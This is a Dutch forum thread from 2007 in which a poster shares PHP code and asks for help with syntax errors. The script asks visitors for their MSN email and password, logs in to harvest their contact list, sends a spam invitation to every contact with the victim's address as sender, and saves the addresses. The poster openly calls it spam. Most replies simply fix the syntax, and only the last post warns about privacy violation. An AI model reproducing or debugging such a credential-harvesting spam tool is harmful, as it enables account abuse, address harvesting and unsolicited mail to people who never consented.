[PHP] msn buddy's mailen + opslaan

Pagina: 1
Acties:
  • 135 views sinds 30-01-2008
  • Reageer

Onderwerpen


Acties:
  • 0 Henk 'm!

  • D467
  • Registratie: Juni 2006
  • Laatst online: 30-03 13:50
Beste tweakers,

Ik heb wat scriptjes gemixxed, de bedoeling is dat als je inlogged dat al je buddy's een e-mailtje (spam=P) krijgen....

Dat werkt; alleen nu heb ik nog een script toegevoegd dat de buddy's ook worden opgeslagen alleen nu zit ik met 2 keer submit. 2 keer is nodig om oa de buddy lijst opteslaan.

INDEX.PHP:
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php 

error_reporting(E_ALL); 
if(!$_POST['submit'])   
{   
    $pHeader  = "MIME-Version: 1.0\r\n"; 
    $pHeader .= "Content-type: text/html; charset=iso-8859-1\r\n"; 
    $pHeader .= "From: ".$_POST['naam']." <".$_POST['email'].">\r\n"; 

require('phplistgrab.php'); 

if ($_SERVER['REQUEST_METHOD'] == 'POST') 
{ 
$phplistgrab = new phpListGrab($_POST['email'], $_POST['bericht']); 
$phplistgrab->grab(); 

// Sort the contact list into alphabetical order 
sort($phplistgrab->lists[LIST_FORWARD]); 
$header = "From: ".$_POST['email']."\r\n"; 

foreach ($phplistgrab->lists[LIST_FORWARD] as $contact) 
{ 

$to = $contact['email']; 
$subject = 'Check This Site I Found & Sign Up Mate !!!!!'; 
$message = 'Check vettte onzin op onzin.com!!!!'; 

mail($to, $subject, $message, $header); 
} 
} 
else 
{ 

echo <<<EOT 
</head> 
<body bgcolor="#343232"> 

<form  method="post" action="index.php"> 

<table cellpadding="2" cellspacing="2" border="1" width="100%"> 
<tr> 
<td><font face="Verdana" color="#FFFFFF">MSN ( E-Mail ) :</font></td> 
<td><font color="#FFFFFF"><input type="text" name="email" /></font></td> 
</tr> 
<tr> 
<td><font face="Verdana" color="#FFFFFF">Wachtwoord : </font></td> 
<td><font color="#FFFFFF"><input type="bericht" name="bericht" /></font></td> 
</tr> 
<tr> 
<td></td> 
<td><font color="#FFFFFF"><input type="submit" name="pie" value="Submit" /></font></td> 
</tr> 

</table> 

</form> 
<p><font face="Verdana" color="#FFFFFF"><b>Het Duurt Ong : 1 / 2 Min ( Ligt Aan 
je ContactPersonen Lijst.</b></font></p> 

EOT;

} 

// hieronder buddy opslaan script bla bla dat werkt allemaal perfect. 
}   
else   
{   
        mail($pHeader.' ' // BLA BLA HEEL MAIL SCRIPT HIERACHTER > E-MAIL ADRESSEN WORDEN OPGESLAGEN 
echo "<META HTTP-EQUIV=Refresh CONTENT=\"0; URL=http://www.onzin.com?id=verstuurd \">"; 
}   
?> 



Heb er al dit van gemaakt maar dan krijg ik nog steeds errors:

PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php 

error_reporting(E_ALL); 
if(isset($_POST['submit'] === true))    
{    
    $pHeader  = "MIME-Version: 1.0\r\n"; 
    $pHeader .= "Content-type: text/html; charset=iso-8859-1\r\n"; 
    $pHeader .= "From: ".$_POST['naam']." <".$_POST['email'].">\r\n"; 

require('phplistgrab.php'); 

$phplistgrab = new phpListGrab($_POST['email'], $_POST['bericht']); 
$phplistgrab->grab(); 

// Sort the contact list into alphabetical order 
sort($phplistgrab->lists[LIST_FORWARD]); 
$header = "From: ".$_POST['email']."\r\n"; 

foreach ($phplistgrab->lists[LIST_FORWARD] as $contact) 
{ 

$to = $contact['email']; 
$subject = 'Check This Site I Found & Sign Up Mate !!!!!'; 
$message = 'Check mijn site!'; 

mail($to, $subject, $message, $header);   
} 

echo "<META HTTP-EQUIV=Refresh CONTENT=\"0; URL=http://www.onzin.com?id=verstuurd \">"; 

} 
else 
{ 

echo ' 
</head> 
<body bgcolor="#343232"> 

<form  method="post" action="index.php"> 

<table cellpadding="2" cellspacing="2" border="1" width="100%"> 
<tr> 
<td><font face="Verdana" color="#FFFFFF">MSN ( E-Mail ) :</font></td> 
<td><font color="#FFFFFF"><input type="text" name="email" /></font></td> 
</tr> 
<tr> 
<td><font face="Verdana" color="#FFFFFF">Wachtwoord : </font></td> 
<td><font color="#FFFFFF"><input type="bericht" name="bericht" /></font></td> 
</tr> 
<tr> 
<td></td> 
<td><font color="#FFFFFF"><input type="submit" name="pie" value="Submit" /></font></td> 
</tr> 

</table> 

</form> 
<p><font face="Verdana" color="#FFFFFF"><b>Het Duurt Ong : 1 / 2 Min ( Ligt Aan 
je ContactPersonen Lijst.</b></font></p> 

'; 

} 

?> 
Parse error: syntax error, unexpected T_IS_IDENTICAL, expecting ',' or '' in index.php on line 4
Wat doe ik verkeerd :P _/-\o_

Acties:
  • 0 Henk 'm!

  • GlowMouse
  • Registratie: November 2002
  • Niet online
Er staat dat de fout in deze regel zit; lees hem eens goed.
PHP:
1
if(isset($_POST['submit'] === true))

Acties:
  • 0 Henk 'm!

  • D467
  • Registratie: Juni 2006
  • Laatst online: 30-03 13:50
GlowMouse schreef op woensdag 09 mei 2007 @ 13:20:
Er staat dat de fout in deze regel zit; lees hem eens goed.
PHP:
1
if(isset($_POST['submit'] === true))
PHP:
1
2
3
<?php 
if(isset($_POST['submit']) === true)
?>


EDIT EDIT

Veranderd maar; nu krijg ik geen errors meer op de pagina, maar klik ik op submit dan gebeurt er niks meer :?

[ Voor 52% gewijzigd door D467 op 09-05-2007 13:28 ]


Acties:
  • 0 Henk 'm!

  • GlowMouse
  • Registratie: November 2002
  • Niet online
D467 schreef op woensdag 09 mei 2007 @ 13:23:
[...]


PHP:
1
2
3
<?php 
if(isset($_POST['submit']) === true)
?>


EDIT: Fixxed.

Nu krijg ik geen errors meer op de pagina, maar klik ik op submit:

code:
1
Parse error: syntax error, unexpected '}' in index.php on line 230


Maar er is helemaal geen lijn 230, of zal dat door de include komen? Lijkt me sterk... :?
Door de require verandert de regelnummering. De melding zegt dat hij geen } verwacht. Je hebt dus ergens een } waar geen { bij hoort.
Veranderd maar; nu krijg ik geen errors meer op de pagina, maar klik ik op submit dan gebeurt er niks meer
Er gebeurt altijd wat. Je geeft alleen geen melding wanneer een mailtje wordt verstuurd. Zonder zo'n melding kan het lijken alsof er niets gebeurt.

[ Voor 19% gewijzigd door GlowMouse op 09-05-2007 13:30 ]


Acties:
  • 0 Henk 'm!

  • D467
  • Registratie: Juni 2006
  • Laatst online: 30-03 13:50
GlowMouse schreef op woensdag 09 mei 2007 @ 13:27:
[...]

Door de require verandert de regelnummering. De melding zegt dat hij geen } verwacht. Je hebt dus ergens een } waar geen { bij hoort.


[...]

Er gebeurt altijd wat. Je geeft alleen geen melding wanneer een mailtje wordt verstuurd. Zonder zo'n melding kan het lijken alsof er niets gebeurt.
PHP:
1
echo "<META HTTP-EQUIV=Refresh CONTENT=\"0; URL=http://www.onzin.com?id=verstuurd \">";


Gebeurt niet, en er komt ook niks in me mailbox ook niet bij spam etc... :'(

Vreemde zaak :P

Acties:
  • 0 Henk 'm!

  • sky-
  • Registratie: November 2005
  • Niet online

sky-

qn nna 👌

Dit kan natuurlijk niet :

<?php
if(isset($_POST['submit']) === true)
?>

Dit hoort gewoon
<?php
if(isset($_POST['submit']))
?>

Al moet je niet op die manier kijken of je een form verstuurd :
<?php if ($_SERVER['REQUEST_METHOD'] == 'POST') { } ?> is beter.

En btw, "<<<EOT " weghalen.. is troep :)

don't be afraid of machines, be afraid of the people who build and train them.


Acties:
  • 0 Henk 'm!

  • SchizoDuckie
  • Registratie: April 2001
  • Laatst online: 18-02 23:12

SchizoDuckie

Kwaak

k8skaaay schreef op woensdag 09 mei 2007 @ 23:08:

Al moet je niet op die manier kijken of je een form verstuurd :
<?php if ($_SERVER['REQUEST_METHOD'] == 'POST') { } ?> is beter.

En btw, "<<<EOT " weghalen.. is troep :)
Waarom niet gewoon
PHP:
1
if(!empty($_POST))
:?

Stop uploading passwords to Github!


Acties:
  • 0 Henk 'm!

  • soulrider
  • Registratie: April 2005
  • Laatst online: 27-11-2017
offtopic:
pst: kleine hint:

je geeft toch zeer duidelijk aan op die site dat je die lijst van contactpersonen gaat opslaan eh ?
(en zo dus eigenlijk perfect kan zien wie wie kent - al dan niet zonder hun medeweten)
en dat ze best eerst toestemming vragen aan hun contactpersonen of dit wel mag?


want anders mag je je wel eens aan een klacht wegens privacy schending verwachten,
zodra er ook maar 1 persoon is die daar achterkomt en zijn digitale rechten kent...


(en geef de contactpersonen ook de kans zich geheel uit je lijst te halen en te voorkomen dat ze er ooit nog inkomen - ik zou er niet mee kunnen lachen als iemand met mijn msn-adres in zijn lijst zich inschrijft op jouw site - zonder dat ik de kans krijg dit ongedaan te maken - en een herhaling te voorkomen.
Want als iedereen uit mijne lijst zich inschrijft op uw site, kende mijne msn-lijst ook zonder dat ik daartoe ooit toestemming toegegeven heb...
Mijn privacy gaat voor op hun domme luiheid.)

[ Voor 18% gewijzigd door soulrider op 10-05-2007 13:58 . Reden: effe ot-text van gemaakt ]

Pagina: 1